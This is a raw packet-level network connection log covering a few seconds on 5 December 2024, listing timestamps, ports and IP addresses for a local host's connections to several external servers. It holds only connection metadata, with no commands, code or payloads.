Dec 5, 2024 14:01:59.722050905 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.722059011 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.722100973 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.722297907 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.723366976 CET	443	49848	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.723419905 CET	49848	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.723660946 CET	49848	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.723669052 CET	443	49848	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.723685026 CET	49848	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.723690033 CET	443	49848	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.724492073 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.724551916 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.724556923 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.724570990 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.724596977 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.724622011 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.725574017 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.725608110 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.725615025 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.725646973 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.727209091 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.727226019 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.727236032 CET	49849	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.727241039 CET	443	49849	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.731790066 CET	49855	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.731823921 CET	443	49855	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.731874943 CET	49855	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.734935045 CET	49856	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.734956980 CET	443	49856	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.735008001 CET	49856	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.735157967 CET	49856	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.735172987 CET	443	49856	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.735248089 CET	49855	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:59.735255003 CET	443	49855	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:59.738090992 CET	49843	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.738101959 CET	443	49843	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.797072887 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.797096014 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.797138929 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.797153950 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.797213078 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.807651997 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.807670116 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.807724953 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.807734966 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.807759047 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.807777882 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.818520069 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.818537951 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.818603992 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.818612099 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.818662882 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.829490900 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.829509974 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.829603910 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.829603910 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.829617977 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.829682112 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.838891029 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.838913918 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.839024067 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.839034081 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.839078903 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.848546028 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.848571062 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.848644972 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.848654985 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.848737955 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.859273911 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.859292984 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.859371901 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.859381914 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.859432936 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.870703936 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.870724916 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.870783091 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.870800972 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:59.870836020 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:59.870843887 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.240036011 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.240062952 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.240150928 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.240150928 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.240164995 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.240209103 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.240228891 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.240231037 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.240242004 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.240269899 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.240305901 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.242033958 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.242048979 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.242125988 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.242134094 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.242181063 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.243016958 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.243032932 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.243088961 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.243097067 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.243206024 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.244889021 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.244908094 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.244963884 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.244971991 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.245012045 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.245915890 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.245929956 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.245989084 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.246001959 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.246052980 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.247267008 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.247281075 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.247339964 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.247348070 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.247397900 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.248425007 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.248433113 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.248517990 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.248526096 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.248575926 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.251756907 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.251771927 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.251840115 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.251847982 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.251955032 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.253556013 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.253572941 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.253638983 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.253645897 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.253674030 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.253674030 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.254590034 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.254606009 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.254684925 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.254692078 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.254730940 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.255906105 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.255920887 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.256020069 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.256030083 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.256098032 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.257147074 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.257160902 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.257219076 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.257226944 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.257287979 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.257946968 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.257961035 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.258002043 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.258009911 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.258059025 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.258059025 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.258858919 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.258886099 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.258924961 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.258934021 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.258944988 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.258961916 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.258980036 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.259007931 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.259861946 CET	49846	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:02:00.259879112 CET	443	49846	150.171.28.10	192.168.2.6
Dec 5, 2024 14:02:00.334960938 CET	443	49851	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.335557938 CET	49851	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.335602045 CET	443	49851	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.337519884 CET	49851	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.337526083 CET	443	49851	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.769563913 CET	443	49851	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.772893906 CET	443	49851	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.772979021 CET	49851	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.774876118 CET	49851	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.774876118 CET	49851	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.774895906 CET	443	49851	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.774904966 CET	443	49851	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.778850079 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.778897047 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.779006004 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.781536102 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.781549931 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.789027929 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.789552927 CET	49853	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.789571047 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:00.790360928 CET	49853	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:00.790365934 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.033003092 CET	80	49852	158.101.44.242	192.168.2.6
Dec 5, 2024 14:02:01.037642002 CET	49858	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:02:01.037669897 CET	443	49858	104.21.67.152	192.168.2.6
Dec 5, 2024 14:02:01.040313005 CET	49858	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:02:01.040359974 CET	49858	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:02:01.040365934 CET	443	49858	104.21.67.152	192.168.2.6
Dec 5, 2024 14:02:01.086719990 CET	49852	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:02:01.124763966 CET	443	49854	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.125977039 CET	49854	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.126004934 CET	443	49854	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.126368999 CET	49854	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.126375914 CET	443	49854	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.225025892 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.228243113 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.228291988 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.228409052 CET	49853	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.228409052 CET	49853	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.228635073 CET	49853	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.228662968 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.228682995 CET	49853	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.228689909 CET	443	49853	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.241285086 CET	49859	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.241307974 CET	443	49859	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.241468906 CET	49859	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.241727114 CET	49859	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.241740942 CET	443	49859	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.455137968 CET	443	49855	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.464821100 CET	49855	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.464850903 CET	443	49855	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.465339899 CET	49855	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.465346098 CET	443	49855	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.559499025 CET	443	49854	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.563467026 CET	443	49854	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.563529015 CET	49854	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.591218948 CET	49854	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.591238976 CET	443	49854	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.591253996 CET	49854	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.591259956 CET	443	49854	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.601912975 CET	49860	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.601950884 CET	443	49860	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.602010012 CET	49860	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.623855114 CET	49860	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.623872995 CET	443	49860	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.926875114 CET	443	49855	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.926949024 CET	443	49855	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.927020073 CET	49855	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.981164932 CET	49855	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.981189013 CET	443	49855	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:01.981201887 CET	49855	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:01.981209993 CET	443	49855	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.061877012 CET	49861	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.061909914 CET	443	49861	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.062021017 CET	49861	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.066119909 CET	49861	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.066134930 CET	443	49861	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.256228924 CET	443	49858	104.21.67.152	192.168.2.6
Dec 5, 2024 14:02:02.297595978 CET	49858	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:02:02.501257896 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.555449009 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.651798010 CET	49858	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:02:02.651820898 CET	443	49858	104.21.67.152	192.168.2.6
Dec 5, 2024 14:02:02.676798105 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.676811934 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.677313089 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.677318096 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.984936953 CET	443	49859	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.985636950 CET	49859	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.985661983 CET	443	49859	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.986162901 CET	49859	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.986167908 CET	443	49859	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.993123055 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.996156931 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.996218920 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.996246099 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.996263027 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.996396065 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.996408939 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.996418953 CET	49857	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.996423960 CET	443	49857	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.999392986 CET	49862	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.999419928 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:02.999672890 CET	49862	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.999828100 CET	49862	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:02.999840021 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.000691891 CET	443	49858	104.21.67.152	192.168.2.6
Dec 5, 2024 14:02:03.000754118 CET	443	49858	104.21.67.152	192.168.2.6
Dec 5, 2024 14:02:03.000812054 CET	49858	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:02:03.001308918 CET	49858	443	192.168.2.6	104.21.67.152
Dec 5, 2024 14:02:03.016688108 CET	49852	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:02:03.136931896 CET	80	49852	158.101.44.242	192.168.2.6
Dec 5, 2024 14:02:03.137007952 CET	49852	80	192.168.2.6	158.101.44.242
Dec 5, 2024 14:02:03.155689001 CET	49863	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:03.155710936 CET	443	49863	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:03.155993938 CET	49863	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:03.156510115 CET	49863	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:03.156526089 CET	443	49863	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:03.341918945 CET	443	49860	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.342690945 CET	49860	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.342709064 CET	443	49860	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.343467951 CET	49860	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.343476057 CET	443	49860	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.419517994 CET	443	49859	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.423284054 CET	443	49859	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.423446894 CET	49859	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.423489094 CET	49859	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.423517942 CET	443	49859	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.423533916 CET	49859	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.423541069 CET	443	49859	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.426631927 CET	49865	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.426668882 CET	443	49865	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.426753998 CET	49865	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.426937103 CET	49865	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.426951885 CET	443	49865	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.776464939 CET	443	49860	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.779753923 CET	443	49860	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.779819965 CET	49860	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.779887915 CET	49860	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.779912949 CET	443	49860	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.779927969 CET	49860	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.779934883 CET	443	49860	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.783025026 CET	49866	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.783067942 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.783152103 CET	49866	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.783334017 CET	49866	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.783348083 CET	443	49866	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.788418055 CET	443	49861	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.788896084 CET	49861	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.788927078 CET	443	49861	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:03.789442062 CET	49861	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:03.789448023 CET	443	49861	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:04.226068020 CET	443	49861	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:04.229099989 CET	443	49861	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:04.229156971 CET	49861	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:04.229229927 CET	49861	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:04.229249954 CET	443	49861	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:04.229264021 CET	49861	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:04.229269981 CET	443	49861	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:04.232465982 CET	49867	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:04.232496023 CET	443	49867	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:04.232695103 CET	49867	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:04.232847929 CET	49867	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:04.232863903 CET	443	49867	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:04.524894953 CET	443	49863	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:04.524996996 CET	49863	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:04.527077913 CET	49863	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:04.527086973 CET	443	49863	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:04.527344942 CET	443	49863	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:04.528923988 CET	49863	443	192.168.2.6	149.154.167.220
Dec 5, 2024 14:02:04.575346947 CET	443	49863	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:04.720227003 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:04.736232042 CET	49862	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:04.736251116 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:04.736828089 CET	49862	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:02:04.736834049 CET	443	49862	13.107.246.63	192.168.2.6
Dec 5, 2024 14:02:05.032042027 CET	443	49863	149.154.167.220	192.168.2.6
Dec 5, 2024 14:02:05.032130003 CET	443	49863	149.154.167.220	192.168.2.6
